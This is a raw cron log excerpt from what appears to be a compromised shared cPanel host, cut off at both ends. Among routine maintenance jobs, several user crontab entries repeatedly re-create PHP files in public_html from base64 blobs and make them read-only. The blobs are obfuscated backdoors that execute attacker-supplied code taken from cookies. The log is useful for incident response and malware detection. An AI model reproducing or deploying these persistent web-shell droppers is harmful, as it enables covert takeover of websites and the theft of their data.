nX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:28:01 medusa CROND[10951]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 06:28:01 medusa CROND[10953]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:28:01 medusa CROND[10957]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 06:28:01 medusa CROND[10982]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:28:01 medusa CROND[10986]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:28:01 medusa CROND[10987]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:29:05 medusa CROND[32541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:29:05 medusa CROND[32562]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:29:05 medusa CROND[32564]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 06:29:05 medusa CROND[354]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 06:29:05 medusa CROND[355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:29:05 medusa CROND[357]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:29:05 medusa CROND[358]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:29:05 medusa CROND[362]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:29:05 medusa CROND[364]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:29:05 medusa CROND[365]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:29:05 medusa CROND[366]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:29:05 medusa CROND[367]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:29:05 medusa CROND[356]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:30:01 medusa CROND[11276]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:30:01 medusa CROND[11290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 06:30:01 medusa CROND[11308]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 06:30:01 medusa CROND[11468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:30:01 medusa CROND[11722]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 06:30:01 medusa CROND[11731]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:30:01 medusa CROND[11733]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 06:30:01 medusa CROND[11732]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 06:30:01 medusa CROND[11739]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:30:01 medusa CROND[11736]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:30:01 medusa CROND[11735]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 06:30:01 medusa CROND[11741]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:30:01 medusa CROND[11734]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 06:30:01 medusa CROND[11743]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 06:30:01 medusa CROND[11740]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 06:30:01 medusa CROND[11749]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 06:30:01 medusa CROND[11753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 06:30:01 medusa CROND[11759]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:30:01 medusa CROND[11761]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 06:30:01 medusa CROND[11764]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 06:30:02 medusa CROND[11774]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+IC